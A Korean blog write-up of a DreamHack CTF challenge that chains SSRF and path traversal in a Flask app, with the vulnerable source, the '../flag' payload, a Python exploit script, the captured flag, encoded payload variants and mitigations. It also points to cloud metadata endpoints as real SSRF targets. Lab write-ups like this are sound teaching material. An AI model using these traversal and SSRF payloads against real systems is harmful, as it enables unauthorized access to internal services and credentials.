[🌱 새싹] 내부 전용 API를 ../ 한 방으로 뚫기 — DreamHack Path Traversal 풀이

2026-05-29·1분 읽기·

[🌱 새싹] 내부 전용 API를 ../ 한 방으로 뚫기 — DreamHack Path Traversal 풀이

127.0.0.1 에서만 호출 가능한 internal API 서버. 사용자 입력이 그대로 내부 요청 URL에 들어가는 SSRF + Path Traversal 취약점을 이용해, `../flag` 한 줄로 접근 제한된 /api/flag 엔드포인트의 플래그를 빼낸다.

문제: DreamHack — Path Traversal 분류: Web (Path Traversal / SSRF) 난이도: 🌱 새싹 FLAG: DH{8a33bb6fe0a37522bdc8adb65116b2d4}

사용자 정보를 조회하는 API 서버에서 /api/flag의 플래그를 빼내는 새싹 난이도 문제입니다. 조회 폼 하나가 전부라 단순해 보이지만, 서버가 내부로 보내는 요청 URL에 사용자 입력이 그대로 들어갑니다. 노릴 곳은 여기입니다.


문제 개요

항목내용
문제명Path Traversal
난이도🌱 새싹
분류Web (Path Traversal / SSRF)
제공 파일 / 서버app.py / http://host8.dreamhack.games:14412/
핵심 취약점 / 기법사용자 입력이 내부 API 요청 URL에 삽입 → ../로 접근 제한 우회

Flask로 짜여 있고, 외부에 열린 /get_info와 내부 전용(127.0.0.1)인 /api/*로 나뉩니다.

플래그가 든 /api/flag는 외부에서 직접 부르면 401이 떨어집니다. 하지만 서버 자신이 보내는 요청은 통과하는데, 이 차이를 비틀어 우회합니다.



🔬 분석

Step 1 — app.py 구조 파악

소스를 보면 외부 라우트와 내부 라우트가 깔끔하게 갈립니다.

def internal_api(func):
    @wraps(func)
    def decorated_view(*args, **kwargs):
        if request.remote_addr == '127.0.0.1':
            return func(*args, **kwargs)
        else:
            abort(401)
    return decorated_view
 
API_HOST = 'http://127.0.0.1:8000'
 
try:
    FLAG = open('./flag.txt', 'r').read() # Flag is here!!
except:
    FLAG = '[**FLAG**]'

internal_api 데코레이터는 요청의 remote_addr가 127.0.0.1일 때만 함수를 실행합니다. 외부 IP면 즉시 abort(401).

플래그를 들고 있는 엔드포인트들이 전부 이 데코레이터로 보호됩니다.

@app.route('/api/user/<uid>')
@internal_api
def get_flag(uid):
    try:
        info = users[uid]
    except:
        info = {}
    return json.dumps(info)
 
@app.route('/api/flag')
@internal_api
def flag():
    return FLAG

즉 /api/flag는 외부에서 직접 때리면 401. 그렇다면 누가 127.0.0.1로 요청을 보낼 수 있는가? 바로 서버 자신입니다.

Step 2 — 외부 진입점 /get_info

외부에서 접근 가능한 유일한 기능 라우트가 /get_info입니다.

@app.route('/get_info', methods=['GET', 'POST'])
def get_info():
    if request.method == 'GET':
        return render_template('get_info.html')
    elif request.method == 'POST':
        userid = request.form.get('userid', '')
        info = requests.get(f'{API_HOST}/api/user/{userid}').text
        return render_template('get_info.html', info=info)

POST로 받은 userid가 검증도 인코딩도 없이 내부 요청 URL http://127.0.0.1:8000/api/user/{userid}에 그대로 박힙니다.

이 요청은 서버가 보내니 remote_addr == 127.0.0.1이라 internal_api를 통과합니다. 즉 userid로 내부 API 경로의 일부를 우리가 정할 수 있다는 얘기입니다.

먼저 메인 페이지와 조회 폼을 둘러봅니다.

메인 페이지 — Path Traversal
메인 페이지 — Path Traversal

Get User Info 링크를 따라가면 userid를 입력받는 폼이 나옵니다.

Get User Info 입력 폼
Get User Info 입력 폼

Step 3 — 정상 동작 확인

기본값 guest로 조회하면, 폼의 자바스크립트가 guest를 사용자 인덱스 0으로 치환해 전송하고, 내부 API /api/user/0이 사용자 JSON을 반환합니다.

guest 조회 — 정상 응답 JSON
guest 조회 — 정상 응답 JSON

응답 박스에 {"userid": "guest", "level": 1, ...}가 그대로 렌더링됩니다. 내부 API 응답이 외부 화면까지 흘러나온다는 것을 확인했습니다.


💣 핵심 취약점 — 두 결함이 겹쳐 만드는 우회

취약점은 하나가 아니라 둘이고, 둘이 맞물려야 플래그까지 닿습니다.

결함어디서 발생효과
SSRF (Server-Side Request Forgery)서버가 사용자 대신 127.0.0.1로 요청을 보냄외부에서 못 가는 내부 망에 서버를 거쳐 도달
Path Traversaluserid가 검증 없이 URL 경로에 삽입됨../로 경로를 거슬러 올라가 다른 엔드포인트로

SSRF로 외부에선 못 가던 127.0.0.1에 닿고, 그 요청 경로를 Path Traversal로 틀어 /api/flag로 들어갑니다. 둘 중 하나만 빠져도 안 됩니다. 흐름은 이렇습니다.

SSRF + Path Traversal 신뢰 경계 우회 흐름도
SSRF + Path Traversal 신뢰 경계 우회 흐름도

requests.get()에 넘어가는 URL은 다음과 같이 조립됩니다.

http://127.0.0.1:8000/api/user/{userid}

여기서 userid = ../flag 를 넣으면 URL은:

http://127.0.0.1:8000/api/user/../flag

dot-segment 정규화는 어떻게 일어나는가 (RFC 3986)

requests(내부 urllib3)는 요청을 보내기 전에 경로를 RFC 3986의 remove_dot_segments로 정규화합니다. 브라우저가 a/b/../c를 a/c로 처리하는 것과 같은 표준 동작입니다.

/api/user/../flag가 정규화되는 과정을 입력에서 출력으로 따라가 보면 이렇습니다.

입력: /api/user/../flag
─────────────────────────────────────────────
1. "/api"   를 출력으로 이동      out = /api
2. "/user"  를 출력으로 이동      out = /api/user
3. "/.."    → 출력의 마지막 세그먼트(/user) 제거   out = /api
4. "/flag"  를 출력으로 이동      out = /api/flag
─────────────────────────────────────────────
결과: /api/flag

/..를 만나면 출력에서 직전 세그먼트(/user)를 떼어냅니다. 그래서 /api/user/라는 경로 제약이 풀리고, 같은 레벨의 형제 엔드포인트인 /api/flag로 넘어갑니다.

/api/user/../flag   →   /api/flag

직접 부르면 401로 막히던 /api/flag를, 서버가 대신 호출하도록 떠넘긴 셈입니다. internal_api는 호출자가 127.0.0.1(서버 본인)이라 그냥 통과시키고, 플래그가 응답에 그대로 실려 나옵니다. IP만 보고 믿는 방식은 이렇게 입력 한 줄에 뚫립니다.



🎯 풀이 / Payload

조회 폼에 ../flag를 입력합니다.

payload 입력 — userid = ../flag
payload 입력 — userid = ../flag

⚠️ 폼에는 userid 값을 사용자 인덱스(guest→0, admin→1)로 치환하는 onsubmit 스크립트가 붙어 있습니다. ../flag는 매핑 테이블에 없어 undefined로 바뀌므로, 브라우저에서 그대로 전송하려면 개발자도구로 스크립트를 우회하거나 아래처럼 requests로 직접 POST 하는 편이 깔끔합니다.

전송하면 응답 박스에 플래그가 노출됩니다.

플래그 획득 — /api/flag 우회 성공
플래그 획득 — /api/flag 우회 성공

🚀 Full Exploit

JS 매핑을 우회하기 위해 Python requests로 userid=../flag를 직접 POST 합니다.

import re
import requests
 
BASE = "http://host8.dreamhack.games:14412"
 
# userid=../flag → 내부 URL /api/user/../flag → 정규화 → /api/flag
r = requests.post(f"{BASE}/get_info", data={"userid": "../flag"}, timeout=10)
 
m = re.search(r"DH\{[^}]*\}", r.text)
print("FLAG:", m.group(0) if m else "(not found)")

세 가지 payload(../flag, ..%2fflag, %2e%2e%2fflag)를 함께 던져 비교하면, 날것의 ../flag만 플래그를 뱉습니다.

solve.py 실행 — ../flag 만 성공, 인코딩 변형은 실패
solve.py 실행 — ../flag 만 성공, 인코딩 변형은 실패
[payload='../flag']        status=200  →  FLAG: DH{8a33bb6fe0a37522bdc8adb65116b2d4}
[payload='..%2fflag']      status=200  →  (no flag)
[payload='%2e%2e%2fflag']  status=200  →  (no flag)

💡 인코딩하면 오히려 실패합니다. 슬래시·점을 URL 인코딩한 ..%2fflag / %2e%2e%2fflag는 %2f가 경로 구분자가 아니라 한 세그먼트 안의 글자로 취급되어, requests가 dot-segment 정규화(상위 경로 이동)를 수행하지 않습니다. 그 결과 /api/user/..%2fflag 라는 단일 세그먼트로 남아 라우트에 매칭되지 않고 빈 {}만 돌아옵니다. 점·슬래시를 날것 그대로 보내는 ../flag가 정답입니다.

payload 변형 비교

변형을 나란히 놓고 보면, 정규화가 인코딩되지 않은 진짜 /에만 작동한다는 게 드러납니다.

payload정규화 후 실제 경로결과이유
../flag/api/flag✅ FLAG/가 살아있어 dot-segment 정규화 발동
..%2fflag/api/user/..%2fflag❌%2f는 인코딩된 슬래시 → 단일 세그먼트, 정규화 안 됨
%2e%2e%2fflag/api/user/%2e%2e%2fflag❌..·/ 전부 인코딩 → 정규화 대상 아님
..%2f..%2fflag(그대로)❌마찬가지로 인코딩된 슬래시는 무력
....//flag/api/user/....//flag❌....는 ..가 아님 — 정규화 안 됨

서버단에서 %2f를 디코딩한 뒤 라우팅한다면 이야기가 달라지지만, Flask/Werkzeug 기본 라우팅은 인코딩된 슬래시를 세그먼트 구분자로 보지 않습니다. 그래서 클라이언트(requests) 단계에서 정규화가 일어나는 날것의 ../flag 만 통합니다.



🛡️ 어떻게 막을까

원인은 결국 검증 안 한 입력을 URL 경로에 그대로 이어 붙인 것입니다. 막는 방법은 세 갈래입니다.

import re
import urllib.parse
 
# ① 입력 화이트리스트 — 애초에 ../ 가 들어올 수 없게
userid = request.form.get('userid', '')
if not re.fullmatch(r'\d+', userid):      # 숫자 인덱스만 허용
    abort(400)
 
# ② 경로 인코딩 — 슬래시·점을 세그먼트 글자로 박제
safe_uid = urllib.parse.quote(userid, safe='')   # ../  ->  ..%2F  (정규화 차단)
info = requests.get(f'{API_HOST}/api/user/{safe_uid}').text
 
# ③ 출처(IP)에 기대지 않는 인증 — 내부 API에도 비밀 토큰 요구
info = requests.get(
    f'{API_HOST}/api/user/{safe_uid}',
    headers={'X-Internal-Token': INTERNAL_SECRET},
).text

①이 제일 확실합니다. 입력 형식을 숫자로 좁히면 ../는 들어올 수조차 없습니다. ②는 입력을 그대로 써야 할 때 정규화를 막는 보조책이고, ③은 "내부에서 왔으니 믿는다"는 가정 자체를 버리는 방법입니다.

remote_addr == 127.0.0.1처럼 출처(IP)에 기댄 인증은 SSRF 한 번이면 그대로 무너집니다.


📝 결론

입력을 URL 경로에 그대로 붙이지 말 것

f'{API_HOST}/api/user/{userid}'처럼 입력을 경로에 이어 붙이면 ../로 위 경로를 거슬러 다른 엔드포인트까지 갈 수 있다. 숫자만 허용하는 검증이나 quote(userid, safe='')로 슬래시·점을 박제하는 게 기본이다.

IP 출처만 보는 인증은 믿을 게 못 된다

remote_addr == 127.0.0.1은 "내부 요청만 받겠다"는 뜻이었지만, 외부 입력이 내부 요청의 경로를 흔들 수 있으면 그 경계는 의미가 없다. 내부 API라도 토큰이나 서명처럼 출처와 무관한 인증을 따로 둬야 한다.

난이도는 새싹이어도 패턴은 실전 그대로다

같은 구조의 SSRF가 클라우드에서는 http://169.254.169.254/latest/meta-data/(AWS 메타데이터)로 향해 임시 자격증명을 털어가는 공격이 된다. "서버가 대신 요청을 보내고, 입력이 그 목적지를 조종한다"는 뼈대는 똑같다. 새싹 문제 하나에 SSRF, Path Traversal, 신뢰 경계가 다 들어있는 셈이다.

이 글이 도움이 됐나요?

Comments

댓글

0개

댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)

댓글 불러오는 중…

Related

관련 글

3개
[🥉 Bronze 3] raw socket 으로 만든 SSRF — localhost 전용 /admin 우회 — DreamHack proxy-1 풀이
blog

[🥉 Bronze 3] raw socket 으로 만든 SSRF — localhost 전용 /admin 우회 — DreamHack proxy-1 풀이

임의 host:port 로 raw 바이트를 보내고 응답을 돌려주는 /socket 이 그대로 SSRF 발판이 된다. flag 를 주는 /admin 은 remote_addr 가 127.0.0.1 일 때만 동작하는데, /socket 으로 서버 자신의 8000 포트에 생 HTTP 요청을 흘려보내면 이 검사를 통과한다. 요청에 필요한 헤더·쿠키·폼까지 직접 적어 보내 flag 를 회수했다.
#dreamhack#ctf#web+5
2026-06-30#dreamhack +5
[🥈 Silver 2] SSRF로 내부 포트 스캔 — netloc 문자열 필터를 0.0.0.0으로 우회 — DreamHack web-ssrf 풀이
blog

[🥈 Silver 2] SSRF로 내부 포트 스캔 — netloc 문자열 필터를 0.0.0.0으로 우회 — DreamHack web-ssrf 풀이

이미지 뷰어가 입력한 URL을 서버가 대신 가져와 보여준다. 같은 프로세스 안에 flag.txt를 서빙하는 내부 SimpleHTTPRequestHandler가 1500~1800 중 한 포트에 떠 있다. 필터는 netloc에 `127.0.0.1`/`localhost` 문자열이 있는지만 보므로, 같은 loopback을 가리키는 `0.0.0.0`으로 우회하고 포트를 전수 스캔해 flag.txt를 읽었다.
#dreamhack#ctf#web+5
2026-06-24#dreamhack +5
[🌱 새싹] 필터는 업로드에만 걸려 있었다 — DreamHack file-download-1 풀이
blog

[🌱 새싹] 필터는 업로드에만 걸려 있었다 — DreamHack file-download-1 풀이

메모 저장소 Flask 앱. 업로드 경로는 파일명에 '..'가 들어가면 막지만, 읽기 경로(/read)에는 같은 검사가 빠져 있다. uploads 디렉토리를 기준으로 경로를 그대로 이어붙이는 탓에 /read?name=../flag.py 한 줄로 상위 디렉토리의 flag.py를 그대로 읽어 플래그를 가져온다.
#dreamhack#ctf#web+4
2026-06-20#dreamhack +5